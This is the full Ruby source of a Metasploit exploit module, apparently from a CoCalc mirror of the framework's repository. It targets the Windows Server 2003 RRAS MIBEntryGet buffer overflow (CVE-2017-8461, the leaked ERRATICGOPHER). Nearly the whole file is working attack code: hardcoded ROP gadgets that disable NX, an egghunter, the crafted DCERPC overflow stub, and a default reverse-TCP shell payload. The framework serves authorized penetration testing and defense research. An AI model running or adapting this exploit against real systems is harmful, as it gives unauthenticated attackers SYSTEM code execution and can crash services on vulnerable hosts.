CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/smb_rras_erraticgopher.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Egghunter
10
include Msf::Exploit::Remote::DCERPC
11
include Msf::Exploit::Remote::SMB::Client
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Microsoft Windows RRAS Service MIBEntryGet Overflow',
18
'Description' => %q{
19
This module exploits an overflow in the Windows Routing and Remote
20
Access Service (RRAS) to execute code as SYSTEM.
21
22
The RRAS DCERPC endpoint is accessible to unauthenticated users via
23
SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;
24
however, this module targets Windows Server 2003 only.
25
26
Since the service is hosted inside svchost.exe, a failed exploit
27
attempt can cause other system services to fail as well.
28
29
The module has been successfully tested on:
30
31
Windows Server 2003 SP0 (x86);
32
Windows Server 2003 SP1 (x86);
33
Windows Server 2003 SP2 (x86); and
34
Windows Server 2003 R2 SP2 (x86).
35
},
36
'Author' => [
37
'Equation Group', # ERRATICGOPHER
38
'Shadow Brokers', # Equation Group dump
39
'VĂ­ctor Portal', # Python exploit for Windows Server 2003 SP2 with DEP bypass
40
'bcoles', # Metasploit
41
],
42
'License' => MSF_LICENSE,
43
'References' => [
44
['CVE', '2017-8461'],
45
['CWE', '119'],
46
['BID', '99012'],
47
['EDB', '41929'],
48
['PACKETSTORM', '147593'],
49
['URL', 'https://www.securitytracker.com/id/1038701'],
50
['URL', 'https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml'],
51
['URL', 'https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd'],
52
['URL', 'https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)'],
53
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2'],
54
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71'],
55
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341'],
56
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6'],
57
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5'],
58
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125'],
59
],
60
'DefaultOptions' => {
61
'EXITFUNC' => 'thread',
62
'PAYLOAD' => 'windows/shell/reverse_tcp'
63
},
64
'Privileged' => true,
65
'Payload' => {
66
'Space' => 1065,
67
'BadChars' => "\x00",
68
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
69
},
70
'Platform' => 'win',
71
'Arch' => ARCH_X86,
72
'Targets' => [
73
[ 'Automatic', { 'auto' => true } ],
74
[
75
'Windows Server 2003 SP0 (English)',
76
{
77
'os' => 'Windows 2003',
78
'sp' => '',
79
'lang' => 'English'
80
}
81
],
82
[
83
'Windows Server 2003 SP1 (English) (NX)',
84
{
85
'os' => 'Windows 2003',
86
'sp' => 'Service Pack 1',
87
'lang' => 'English'
88
}
89
],
90
[
91
'Windows Server 2003 SP2 (English) (NX)',
92
{
93
'os' => 'Windows 2003',
94
'sp' => 'Service Pack 2',
95
'lang' => 'English'
96
}
97
],
98
[
99
'Windows Server 2003 R2 SP2 (English) (NX)',
100
{
101
'os' => 'Windows 2003 R2',
102
'sp' => 'Service Pack 2',
103
'lang' => 'English'
104
}
105
],
106
],
107
'Notes' => {
108
'AKA' => [ 'ErraticGopher' ],
109
'Stability' => [ CRASH_SERVICE_DOWN ],
110
'SideEffects' => [ IOC_IN_LOGS ],
111
'Reliability' => [ UNRELIABLE_SESSION ]
112
},
113
'DefaultTarget' => 0,
114
'DisclosureDate' => '2017-06-13'
115
)
116
)
117
118
register_options([
119
OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'browser']),
120
])
121
122
deregister_options('SMB::ProtocolVersion')
123
end
124
125
def payload_win2k3sp0
126
rop = [0x0ffef4c9].pack('V')
127
# rsaenh.dll:
128
# 0FFEF4C9 54 PUSH ESP
129
# 0FFEF4CA 24 04 AND AL,4
130
# 0FFEF4CC 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C]
131
# 0FFEF4D0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
132
# 0FFEF4D4 3BD1 CMP EDX,ECX
133
# 0FFEF4D6 73 05 JNB SHORT rsaenh.0FFEF4DD
134
# 0FFEF4D8 F7F1 DIV ECX
135
# 0FFEF4DA C2 0C00 RETN 0C
136
rop += make_nops(1152 - payload.encoded.length)
137
rop += payload.encoded
138
rop
139
end
140
141
def payload_win2k3sp1
142
egg_options = {
143
eggtag: rand_text_alpha(4)
144
}
145
146
hunter, egg = generate_egghunter(
147
payload.encoded,
148
payload_badchars,
149
egg_options
150
)
151
152
# NX disable routine for Windows Server 2003 SP1
153
rop = [0x71c0bf7c].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
154
rop += "\x90" * 16 # padding
155
rop += [0x77c1a864].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
156
rop += [0x7c803ec2].pack('V') # ret 20 @ntdll.dll
157
rop += [0x773b24da].pack('V') # jmp esp @user32.dll
158
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
159
rop += "\x90" * 2 # padding
160
rop += hunter # egg hunter
161
rop += "\x90" * 42 # padding
162
rop += [0x7c83e413].pack('V') # disable NX routine @ntdll.dll
163
rop += "\x90" * 104 # padding
164
rop += egg # egg + payload
165
rop
166
end
167
168
def payload_win2k3sp2
169
egg_options = {
170
eggtag: rand_text_alpha(4)
171
}
172
173
hunter, egg = generate_egghunter(
174
payload.encoded,
175
payload_badchars,
176
egg_options
177
)
178
179
# NX disable routine for Windows Server 2003 [R2] SP2
180
rop = [0x71c0db30].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
181
rop += "\x90" * 16 # padding
182
rop += [0x77c177e9].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
183
rop += [0x7c817a5d].pack('V') # ret 20 @ntdll.dll
184
rop += [0x77384271].pack('V') # jmp esp @user32.dll
185
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
186
rop += "\x90" * 2 # padding
187
rop += hunter # egg hunter
188
rop += "\x90" * 42 # padding
189
rop += [0x7c83f517].pack('V') # disable NX routine @ntdll.dll
190
rop += "\x90" * 104 # padding
191
rop += egg # egg + payload
192
rop
193
end
194
195
def check
196
begin
197
connect(versions: [1])
198
smb_login
199
rescue Rex::Proto::SMB::Exceptions::LoginError => e
200
if e.message.include?('Connection reset')
201
return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
202
end
203
204
return CheckCode::Safe("SMB error: #{e.message}")
205
end
206
207
handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
208
209
begin
210
dcerpc_bind(handle)
211
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
212
return CheckCode::Safe("SMB error: #{e.message}")
213
end
214
215
CheckCode::Detected('RRAS enabled and accessible.')
216
end
217
218
def exploit
219
begin
220
connect(versions: [1])
221
smb_login
222
rescue Rex::Proto::SMB::Exceptions::LoginError => e
223
if e.message.include?('Connection reset')
224
fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
225
end
226
raise e
227
end
228
229
handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
230
231
print_status("Binding to #{handle} ...")
232
233
begin
234
dcerpc_bind(handle)
235
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
236
fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
237
end
238
239
print_status("Bound to #{handle} ...")
240
241
my_target = target
242
243
if target.name == 'Automatic'
244
print_status('Selecting a target ...')
245
246
fingerprint = smb_fingerprint
247
248
os = fingerprint['os']
249
sp = fingerprint['sp']
250
lang = fingerprint['lang']
251
print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")
252
253
if lang == 'Unknown'
254
lang = 'English'
255
print_status("Could not detect the language pack, defaulting to #{lang}")
256
end
257
258
my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first
259
260
unless my_target
261
fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
262
end
263
end
264
265
print_status("Using target: #{my_target.name}")
266
267
case my_target.name
268
when 'Windows Server 2003 SP0 (English)'
269
buf = payload_win2k3sp0
270
when 'Windows Server 2003 SP1 (English) (NX)'
271
buf = payload_win2k3sp1
272
when 'Windows Server 2003 SP2 (English) (NX)'
273
buf = payload_win2k3sp2
274
when 'Windows Server 2003 R2 SP2 (English) (NX)'
275
buf = payload_win2k3sp2 # same as SP2
276
else
277
fail_with(Failure::NoTarget, 'Invalid target')
278
end
279
280
mib = NDR.long(8) # dwVarID (MIB_OPAQUE_QUERY) # IP_FORWARDROW
281
mib += "\x90" * 4 # rgdwVarIndex[0] dwForwardDest # junk IPv4 address
282
mib += NDR.long(0) # rgdwVarIndex[1] dwForwardMask # junk IPv4 net mask
283
mib += NDR.long(0) # rgdwVarIndex[2] dwForwardPolicy # 0 (default forward policy)
284
mib += "\x90" * 4 # rgdwVarIndex[3] dwForwardNextHop # junk IPv4 address
285
mib += "\x90" * 4 # rgdwVarIndex[4] dwForwardIfIndex # junk network interface index for next hop
286
mib += buf # rgdwVarIndex[5] dwForwardType # payload
287
mib += "\x90" * (1840 - mib.length) # MIB length padding # junk
288
289
stub = NDR.long(0x21) # dwPid (RMIBEntryGet) # PID_IP (IPv4)
290
stub += NDR.long(0x2710) # dwRoutingPid (RMIBEntryGet) # IPRTRMGR_PID (IP router manager)
291
stub += NDR.long(mib.length) # dwMibInEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB in size
292
stub += "\x90" * 4 # pMibInEntry (DIM_MIB_ENTRY_CONTAINER) # MIB_OPAQUE_QUERY pointer (ignored)
293
stub += NDR.long(4) # dwVarId (MIB_OPAQUE_QUERY) # IP_ADDRTABLE
294
stub += "\x90" * 4 # rgdwVarIndex (MIB_OPAQUE_QUERY) # unused (ignored)
295
stub += NDR.long(mib.length) # dwMibOutEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB out size
296
stub += mib # our friendly MIB entry data with payload
297
stub += NDR.long(4) # dwId (MIB_OPAQUE_INFO) # IP_ADDRTABLE (same as dwVarId)
298
stub += NDR.long(0) # ullAlign (MIB_OPAQUE_INFO) # zero aligning bytes
299
300
print_status("Calling RRAS MIBEntryGet with payload (#{stub.length} bytes) ...")
301
302
begin
303
dcerpc.call(0x1d, stub, false)
304
rescue StandardError => e
305
raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
306
end
307
308
handler
309
disconnect
310
end
311
end
312
313